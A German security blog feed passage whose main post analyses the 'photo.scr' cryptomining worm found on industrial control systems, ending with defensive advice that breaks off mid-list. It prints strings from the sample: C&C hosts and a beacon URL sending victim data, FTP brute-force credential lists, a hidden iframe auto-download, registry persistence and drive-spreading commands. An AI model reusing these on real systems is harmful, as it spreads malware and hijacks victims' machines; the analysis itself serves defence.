Bisher steht auf unserem Plan, dass wir nächstes Jahr wieder einen Internetwache-CTF organisieren. Ideen dazu werden schon fleißig gesammelt, nur muss zur Umsetzung noch die nötige Zeit gefunden werden.
Außerdem haben wir noch vor einige Nachforschungen im Bereich IT-Sicherheit anzustellen, aber dazu wollen wir noch nicht zu viel verraten.
Die Medienarbeit macht uns generell Spaß und wir werden es uns weiterhin zur Aufgabe machen zu Fragen der Informations- und IT-Sicherheit in der Öffentlichkeit zu sprechen.</p>

<p>Wir werden von uns hören lassen - mit Sicherheit ;)</p>

<p>Sebastian Neef &amp; Tim Philipp Schäfers</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Analyse zum Vorgehen einer Kryptomining-Malware]]></title>
    <link href="https://www.internetwache.org/analyse-zum-vorgehen-einer-kryptomining-malware-09-09-2016/"/>
    <updated>2016-09-09T21:11:00+02:00</updated>
    <id>https://www.internetwache.org/analyse-zum-vorgehen-einer-kryptomining-malware</id>
    <content type="html"><![CDATA[<p>Vor einiger Zeit haben wir etwas Nachforschungen im Bereich Industrial Control Systems (ICS) betrieben - dabei sind wir auf manchen Systemen auch auf eine Datei mit dem Namen &#8220;photo.scr&#8221; gestoßen. Unsere Erkenntnisse dazu wollen wir in diesem Blogpost teilen - damit Dritte verstehen können, wie die gefundene Malware funktioniert und wie man sich am besten vor ihr schützen kann.</p>

<!-- more -->


<p>Zunächst wussten wir nicht genau, was es mit der &#8220;photo.scr&#8221; auf sich hatte. Da die Datei sich auf einigen Systemen allerdings in jedem Ordner finden ließ und sich zudem bei Betrachten von HTML-Dateien (den Hilfedateien einer ICS-Software) einen Autodownload dieser Datei startete, entschlossen wir uns die auffällige Datei etwas genauer zu untersuchen. Wie sich später zeigte gehört die Datei zu einem Kryptomining-Botnet - über das bereits andere Sicherheitsunternehmen berichtet hatten.</p>

<p>Einige Erkenntnisse haben wir bereits in einem Artikel auf golem.de vorgestellt: <a href="http://www.golem.de/news/kritische-infrastrukturen-wenn-die-usv-kryptowaehrungen-schuerft-1608-122837.html">Kritische Infrastrukturen: Wenn die USV Kryptowährungen schürft</a></p>

<p>Für die Analyse nutzten wir unter anderem den Dienst <a href="http://malwr.com/">malwr.com</a>. Wir luden dort mehrere Samples hoch und entdeckten auch bereits hochgeladene Versionen dieser Software. Soweit wir das beurteilen können, funktionierten alle Samples nach demselben Prinzip. Wir fokussierten uns insbesondere auf <a href="https://malwr.com/analysis/Y2MxZDhjZmNiMDMzNDhlYjkxODcwYjY0NTBkMTYzNDM/">dieses Sample</a> - da wir es auf einem ICS gefunden und anschließend näher untersucht haben.</p>

<h2>Analyse</h2>

<p>Die Datei ist 1578496 Bytes (~1.6 MB) groß und wird als <code>PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows</code> erkannt:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
</span><span class='line'>
</span><span class='line'>$&gt; du -sb 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>1578496 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin</span></code></pre></td></tr></table></div></figure>


<p>Hashsummen des Sampels</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; md5sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>aba2d86ed17f587eb6d57e6c75f64f05  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin
</span><span class='line'>
</span><span class='line'>$&gt; sha1sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>aeccba64f4dd19033ac2226b4445faac05c88b76  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin
</span><span class='line'>
</span><span class='line'>$&gt; sha256sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin</span></code></pre></td></tr></table></div></figure>


<p>Wie wir wissen, sollte man nicht das <a href="https://lcamtuf.blogspot.de/2014/10/psa-dont-run-strings-on-untrusted-files.html">Kommando &#8220;strings&#8221; auf unbekannten Dateien ausführen</a>, deswegen nutzten wir die hilfreichen Features von <a href="http://radare.org/r/">Radare2</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; r2  file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin 
</span><span class='line'>&gt; iS
</span><span class='line'>[Sections]
</span><span class='line'>[...]sz=79872 vsz=79824 perm=m-r-x name=.text
</span><span class='line'>[...]sz=1536 vsz=1124 perm=m-rw- name=.data
</span><span class='line'>[...]sz=10752 vsz=10260 perm=m-r-- name=.rdata
</span><span class='line'>[...]sz=1024 vsz=1016 perm=m-r-- name=.eh_fra
</span><span class='line'>[...]sz=0 vsz=19276 perm=m-rw- name=.bss
</span><span class='line'>[...]sz=3584 vsz=3480 perm=m-rw- name=.idata
</span><span class='line'>[...]sz=512 vsz=28 perm=m-rw- name=.CRT
</span><span class='line'>[...]sz=512 vsz=32 perm=m-rw- name=.tls
</span><span class='line'>[...]sz=1479680 vsz=1479216 perm=m-rw- name=.rsrc
</span><span class='line'>
</span><span class='line'>9 sections</span></code></pre></td></tr></table></div></figure>


<p>Wie man sieht, ist die <code>.rsrc</code> Ressource-Section, mit ungefähr 1.4 MB von insgesamt 1.6 MB, am Größten. Es lohnt sich also einen Blick dahineinzuwerfen. Dazu kann man das praktische Tool <a href="http://linux.die.net/man/1/wrestool">wrestool</a> nutzen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; mkdir wrestool && cd wrestool/
</span><span class='line'>$&gt; wrestool -a -R -x -o ./ ../807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin  
</span><span class='line'>$&gt; ls
</span><span class='line'>insgesamt 1,5M
</span><span class='line'>[...] 4,0K  3. Sep 14:59 .
</span><span class='line'>[...] 4,0K 22. Aug 00:46 ..
</span><span class='line'>[...] 1,4M  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1
</span><span class='line'>[...]  146  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_14_ICON1.ico
</span><span class='line'>[...] 1,7K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_1
</span><span class='line'>[...] 1,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_10
</span><span class='line'>[...]  744  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_2
</span><span class='line'>[...]  296  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_3
</span><span class='line'>[...] 3,7K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_4
</span><span class='line'>[...] 2,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_5
</span><span class='line'>[...] 1,4K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_6
</span><span class='line'>[...]  20K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_7
</span><span class='line'>[...] 9,5K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_8
</span><span class='line'>[...] 4,2K  5. Sep 00:27 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_3_9
</span><span class='line'>[...]  45K 22. Aug 00:41 bad-file_14_ICON1.ico</span></code></pre></td></tr></table></div></figure>


<p>Diesmal gibt es einige kleinere Dateien, wobei eine besonders heraussticht: Gleich ganz oben mit dem Suffix &#8220;RCDATA1&#8221;. Die anderen Dateien zeigte das <code>wrestool</code> als Icons an, diese scheinen aber, bis auf zwei Ausnahmen eines Ordnersymbols, keine zu sein. Das Ordnersymbol dient offensichtlich dazu Nutzer zu täuschen (Social Engineering), damit diese einen Doppelklick auf den vermeintlichen Ordner machen.</p>

<p><a rel="fancybox"href="/images/posts/photo-virus-2.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/photo-virus-2.png" alt="Ordner-Icon bei der Ansicht im Windows Explorer" title="Darstellung der photo.scr im Windows Explorer" /></a></p>

<p>Moderne Webbrowser, wie der Mozilla Firefox zeigen trotz verfälschtem Symbol an, dass es sich bei der abgerufenen Datei um eine ausführbare Datei handelt.</p>

<p><a rel="fancybox"href="/images/posts/photo-virus-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/photo-virus-1.png" alt="Firefox zeigt nur ein Applikations-Icon, kein Ordner-Icon" title="Screenshot des Firefox Autodownload mit Applikations Icon" /></a></p>

<p>Die verdächtige größere Datei scheint wieder eine Windows-Executable zu sein:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; file 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1 
</span><span class='line'>807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1: PE32 executable (console) Intel 80386, for MS Windows
</span><span class='line'>
</span><span class='line'>$&gt; md5sum 807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1 
</span><span class='line'>3afeb8e9af02a33ff71bf2f6751cae3a  807126cbae47c03c99590d081b82d5761e0b9c57a92736fc8516cf41bc564a7d.bin_10_RCDATA1</span></code></pre></td></tr></table></div></figure>


<p>Sucht man nach der MD5-Summe <code>3afeb8e9af02a33ff71bf2f6751cae3a</code>, so findet man heraus, dass es sich um eine Programm namens <a href="http://www.processchecker.com/file/NsCpuCNMiner32.exe.html">NsCpuCNMiner32.exe</a> handelt - Das werden wir später an einer anderen Stelle noch erkennen.</p>

<p>Führt man in Radare2 das Kommando <code>iz | less</code> aus, so bekommt man eine Auflistung aller Strings in der <code>.data</code> Sektion. Hier lassen sich interessante Sachen entdecken!</p>

<p>Zum Beispiel die Hosts mit denen die Malware kommuniziert:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=stafftest.ru
</span><span class='line'>[...]string=hrtests.ru
</span><span class='line'>[...]string=profetest.ru
</span><span class='line'>[...]string=testpsy.ru
</span><span class='line'>[...]string=pstests.ru
</span><span class='line'>[...]string=qptest.ru
</span><span class='line'>[...]string=prtests.ru
</span><span class='line'>[...]string=jobtests.ru
</span><span class='line'>[...]string=iqtesti.ru</span></code></pre></td></tr></table></div></figure>


<p>Konkret sieht man aus dem malwr.com-Log, dass ein HTTP-Request an folgende URL gestellt wird: httpx://stafftest .ru/test.html. Das finden wir auch in der Binary logischweise wieder:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=http://%s/test.html?%d</span></code></pre></td></tr></table></div></figure>


<p><a rel="fancybox"href="/images/posts/stafftest.ru.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/stafftest.ru.png" alt="Screenshot eines Viren C&C auf dem nur Buchstabensalsat zu sehen ist" title="Abruf der Webseite mit Buchstabensalat" /></a></p>

<p>Ruft man diese URL in einer abgeschirmten Umgebung auf, so bekommt man HTML-Quelltext und viel Buchstabensalat zurück. Eine Analyse von <a href="https://blog.fortinet.com/2016/06/14/obfuscated-bitcoin-miner-propagates-through-ftp-using-password-dictionary">Fortinet</a> zeigt, dass scheinbar nur Buchstaben verstauscht werden müssen, um die Kommandos zu entschlüsseln - Es handelt sich offensichtlich um eine ROT47 Methode auf einem eigenen Schriftsatz - der folgendermaßen gelöst werden kann.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>#!/usr/bin/python2
</span><span class='line'>import requests
</span><span class='line'>
</span><span class='line'>def decode(URL):
</span><span class='line'>    charset = " mnbvcxzlkjhgfdsapoiuytrewq/0987654321!@=%&?:.,["
</span><span class='line'>    r = requests.get(URL)
</span><span class='line'>    content = r.content
</span><span class='line'>    output = ""
</span><span class='line'>
</span><span class='line'>    for c in content:
</span><span class='line'>        if c in charset:
</span><span class='line'>            pos = 47 - charset.index(c)
</span><span class='line'>            output += charset[pos]
</span><span class='line'>        else:
</span><span class='line'>            output += c
</span><span class='line'>
</span><span class='line'>    return output
</span><span class='line'>
</span><span class='line'>print decode("httpx://stafftest .ru/stat.html")
</span><span class='line'>print decode("httpx://stafftest .ru/test.html")
</span><span class='line'>print decode("httpx://stafftest .ru/text.html")</span></code></pre></td></tr></table></div></figure>


<p>Eine beispielhafte Ausgabe findet man in <a href="https://paste.internetwache.org/?6d98c0b9696943db#8LWVS8h31+afvsh7hT1BJhIrPm5QPHJ1acuTNpbJtDw=">unserem Paste</a>.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=httpx://hrtests .ru/S.php?ver=24&pc=%s&user=%s&sys=%s&cmd=%s&startup=%s/%s</span></code></pre></td></tr></table></div></figure>


<p>Zudem wird ein HTTP-Request vorgenommen bei dem mehrere Daten übermittelt werden, so etwa eine Version (<code>ver</code>), der Computername, der Nutzer und inwieweit das Programm nach dem Neustart des Rechners ausgeführt wird. Vermutlich werden diese Werte genutzt, um sie in ein Backend der Cyberkriminellen einzupflegen - darüber haben diese jederzeit Überblick wie viele und welche Systeme befallen sind.
Der Parameter <code>ver</code> deutet zudem darauf hin, dass die Entwicklung der Malware tatsächlich erstaunlich professionell, mit immer neuen Releases, verläuft. Eine Analyse von <a href="https://www.guardicore.com/2016/06/the-photominer-campaign">GuardiCore</a> legt nahe, dass mit jeder neuen Version auch neue Verbreitungswege zu der Malware hinzugefügt werden.</p>

<p>In der Liste der Strings finden wir den oben bereits extrahierten NsCpuCNMiner wieder (dieser existiert in manchen Versionen der Malware sowohl in der 32-bit, als auch in der 64-bit Variante), welcher im <code>%%TEMP%%</code>-Verzeichnis abgelegt und von dort ausgeführt wird.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=%s\NsCpuCNMiner32.exe
</span><span class='line'>[...]string=/c start /b %%TEMP%%\NsCpuCNMiner32.exe -dbg -1 %s</span></code></pre></td></tr></table></div></figure>


<p>Der Miner wird defaultmäßig mit Mining-Pools ausgeführt, die bereits in der &#8220;photo.scr&#8221; hinterlegt sind. Darüber hinaus wird eine Liste mit möglichen Mining-Pools mit dem gezeigten HTTP-Request ermittelt und in einer Datei mit dem Namen &#8220;pools.txt&#8221; gespeichert. Per Shell-Kommando kann die entsprechende Datei bei Aufruf des Miners übergeben werden.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=/c (echo stratum+tcp://mine.moneropool.com:3333& echo stratum+tcp://monero.crypto-pool.fr:3333& echo stratum+tcp://xmr.prohash.net:7777& echo stratum+tcp://pool.minexmr.com:5555)&gt; %TEMP%\pools.txt</span></code></pre></td></tr></table></div></figure>


<p>Damit die getanene Arbeit und deren Ergebnisse einem Account auf einem der Mining-Pools zugeordnet werden kann, muss oft ein Account-spezifischer API-Key angegeben werden:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=-o stratum+tcp://mine.moneropool.com:3336 -t 1 -u 42n7TTpcpLe8yPPLxgh27xXSBWJnVu9bW8t7GuZXGWt74vryjew2D5EjSSvHBmxNhx8RezfYjv3J7W63bWS8fEgg6tct3yZ -p x</span></code></pre></td></tr></table></div></figure>


<p><a href="https://www.reddit.com/r/netsec/comments/4o1ebq/worm_spreads_via_ftp_and_http_mines_monero/">Reddit-Nutzer</a> konnten weitere, wahrscheinlich zugehörende, Adressen und API-Keys ausfindig machen.</p>

<p>Um sich zu verbreiten, brute-forced der Miner FTP-Logins. Dazu nutzt er folgende Benutzernamen&#8230;</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=anonymous
</span><span class='line'>[...]string=Admin
</span><span class='line'>[...]string=admin
</span><span class='line'>[...]string=www-data
</span><span class='line'>[...]string=anonymous
</span><span class='line'>[...]string=Admin
</span><span class='line'>[...]string=admin
</span><span class='line'>[...]string=www-data
</span><span class='line'>[...]string=administrator</span></code></pre></td></tr></table></div></figure>


<p>&#8230;und Passwörter:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=test
</span><span class='line'>[...]string=password
</span><span class='line'>[...]string=pass
</span><span class='line'>[...]string=pass1234
</span><span class='line'>[...]string=1234
</span><span class='line'>[...]string=12345
</span><span class='line'>[...]string=123456
</span><span class='line'>[...]string=1234567
</span><span class='line'>[...]string=12345678
</span><span class='line'>[...]string=123456789
</span><span class='line'>[...]string=1234567890
</span><span class='line'>[...]string=qwerty
</span><span class='line'>[...]string=devry
</span><span class='line'>[...]string=000000
</span><span class='line'>[...]string=111111
</span><span class='line'>[...]string=123123
</span><span class='line'>[...]string=abc123
</span><span class='line'>[...]string=admin123
</span><span class='line'>[...]string=derok010101
</span><span class='line'>[...]string=windows
</span><span class='line'>[...]string=123qwe
</span><span class='line'>[...]string=email@email.com</span></code></pre></td></tr></table></div></figure>


<p>Die folgenden Dateiendungen könnten darauf hindeuten, dass die Malware Dateien mit dieser Endung manipuliert, um sich weiter zu verbreiten:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=.php
</span><span class='line'>[...]string=.PHP
</span><span class='line'>[...]string=.htm
</span><span class='line'>[...]string=.HTM
</span><span class='line'>[...]string=.xml
</span><span class='line'>[...]string=.XML
</span><span class='line'>[...]string=.dhtm
</span><span class='line'>[...]string=.DHTM
</span><span class='line'>[...]string=.phtm
</span><span class='line'>[...]string=.xht
</span><span class='line'>[...]string=.htx
</span><span class='line'>[...]string=.mht
</span><span class='line'>[...]string=.bml
</span><span class='line'>[...]string=.asp
</span><span class='line'>[...]string=.shtm</span></code></pre></td></tr></table></div></figure>


<p>Die Manipulation beinhaltet vor allem das Erstellen eines 1x1 großen Iframes über welchen auf die entsprechende Datei (photo.scr) verwiesen wird.
Der Code dazu lautet:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=\n&lt;iframe src=Photo.scr width=1 height=1 frameborder=0&gt;\n&lt;/iframe&gt;\n</span></code></pre></td></tr></table></div></figure>


<p><a rel="fancybox"href="/images/posts/photo-virus-3.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/photo-virus-3.png" alt="Bildschirmfoto eines Quelltextes einer Webseite mit Autodownload" title="1x1 Pixel-Iframe innerhalb eines Quellcodes einer Webseite" /></a></p>

<p>Um immer im Hintergrund zu laufen und um sich auf weitere Systeme zu verbreiten wird ein Registry-Eintrag angelegt und zudem versucht sich auf alle angeschlossene Laufwerke zu kopieren:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>[...]string=/c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Run" /d "%s" /t REG_SZ /f
</span><span class='line'>[...]string=/c for %%i in (A B C D E F G H J K L M N O P R S T Q U Y I X V X W Z) do xcopy /y "%s" %%i:\</span></code></pre></td></tr></table></div></figure>


<p>Zudem wird nach Doppelklick auf die Datei ein Countdown von 5 Wochen (über 3.100.000 Sekunden) gestartet - erst nach dieser Zeit findet die geschilderte aggressive Verbreitung statt - zuvor wird zunächst heimlich und im Hintergrund Kryptomining betrieben.</p>

<h2>Maßnahmen der Malware zur Verbreitung &amp; möglicher Schaden</h2>

<p>Die Malware nutzt verschiedene Formen der Verbreitung:</p>

<ul>
<li>Bruteforcing von FTP-Servern (mittels Wortliste)</li>
<li>Verteilen auf angeschlossene Festplatten (Laufwerke)</li>
<li>Verwendung von 1x1 Iframes innerhalb von HTML-Dateien, um einen Autodownload zu erreichen</li>
<li>Erstellen von WLAN-Hotspots (gefunden in Samples von <a href="https://www.guardicore.com/2016/06/the-photominer-campaign/">GuardiCore</a>)</li>
</ul>


<p>Anders als bei Ransomeware liegt kein wirklich sichtbarer Schaden vor, da die Schadware ausschließlich Rechenkapazität nutzt und geringfügig Speicher belegt. Allerdings haben wir den Wurm auch auf Industrial Control Systems gefunden - in solchen Umgebungen kann es gefährlich sein, wenn der Wurm versucht sich aggressiv (beispielsweise durch Kopieren) weiterzuverbreiten.</p>

<p>Es ist unklar, wer hinter diesem Vorgehen steckt - allerdings gehen wir davon aus, dass der oder die Cyberkriminellen durchaus ein ansehnliches Einkommen durch dieses Vorgehen generieren können, was mitunter im 6 oder sogar 7-stelligen Bereich liegen könnte.</p>

<p>Zur Berechnung dieses Bereiches haben wir uns die standardmäßigen <a href="https://docs.google.com/spreadsheets/d/1MI-ic0Os25hgGUImW54sUIjZY_pUNQNa_W8Se5pRGBs/edit?pli=1#gid=0">Monero Mining Konfigurationen</a> angeschaut und angenommen, dass ein befallener Computer (Dual Core) im Durchschnitt eine Hash-Rate von 62 H/s besitzt. (Diese Annahme ich durchaus verhalten, da Gaming-PCs und co. eine deutlich höhere Hash-Rate haben.) Zudem nehmen wir einen Pool Fee von 2% an, was auch eher überdurchschnittlich hoch, also entsprechend negativ für die Cyberkriminellen, ist. Nutzt man diese hypothetischen Angaben und gibt sie in einen <a href="http://www.coinwarz.com/calculators/monero-mining-calculator/?h=62.00&amp;p=0.00&amp;pc=0.00&amp;pf=2.00&amp;d=2329063878.00000000&amp;r=10.95060000&amp;er=0.00422106&amp;btcer=601.41970000&amp;hc=0.00">Mining-Rechner</a> ein, so erhält man unter Berücksichtigung der aktuellen Mining-Werte (Difficulty &amp; Reward) eine wöchtenliche Erzielung von 0,44$ pro befallenem Gerät.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>50000 * 0,44 $ = 22000 $</span></code></pre></td></tr></table></div></figure>


<p>Bei 50000 befallenen Geräten würde man so pro Woche bereits einen Wert von 22000 $ generieren.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>22000$ * 36 = 792000 $</span></code></pre></td></tr></table></div></figure>


<p>Da der Threat-Actor mindestens schon seit Ende des letzten Jahres bzw. Anfang 2016 aktiv ist (das legen die Untersuchungen anderer Sicherheitsexperten nahe, siehe bspw. <a href="https://www.guardicore.com/2016/06/the-photominer-campaign/">GuardiCore</a>), könnte man den wöchentlichen Wert mit der Anzahl der Kalenderwochen in 2016 multiplizieren und hätte dann eine ungefähre Ahnung davon, wie viel die Cyberkriminellen verdient haben könnten. Es ist natürlich richtig einzuwenden, dass nicht alle PCs zu jedem Zeitpunkt an sind, Erkennungen durch Antivierensysteme erfolgen und auch die Währung selbst Schwankungen unterliegt - aber die zu Grunde liegenden 50000 befallenden Geräte sind ja ebenfalls eine reine Schätzung und könnten sogar, angesichts der geschilderten aggressiven Verbreitung, deutlich höher ausfallen.</p>

<p><a href="https://community.fireeye.com/external/1475">Fireeye</a> hat vor einiger Zeit eine Malware der gleichen Familie gefunden, diese hat .top-Domains genutzt, um sich zu verbreiten. Da die Command und Control Server die gleichen sind, wie in der von uns gefundenen Malware ist zu vermuten, dass die gleichen Akteure hinter der Malware stecken oder aber sogar ein Malware as a Service Programm genutzt wird (die Cyberkriminelle also andere Kriminelle bezahlen - die ihre Malware an mögliche Opfer verteilen).</p>

<h2>Schutz vor dieser Malware</h2>

<p>Nachfolgend wollen wir noch eine kurze Übersicht über mögliche Schutzmaßnahmen geben, damit man selbst nicht Opfer und damit Teil einer unfreiwilligen Mining-Operation wird.</p>

<p>Als Betreiber einer IT-Infrastrukur:</p>

<ul>
<li>Sichere Passwörter für FTP nutzen</li>
<li>IP-Bann nach mehrfacher Fehlauthentifizierung</li>
<li>Blacklisting der oben gennannten URLs in Webproxies oder Firewalls</li>
<li>Virensystem auf dem aktuellen Stand halten und regelmäßige Scans durchführen</li>
</ul>


<p>Als Besitzer eines Endgerätes:</p>

<ul>
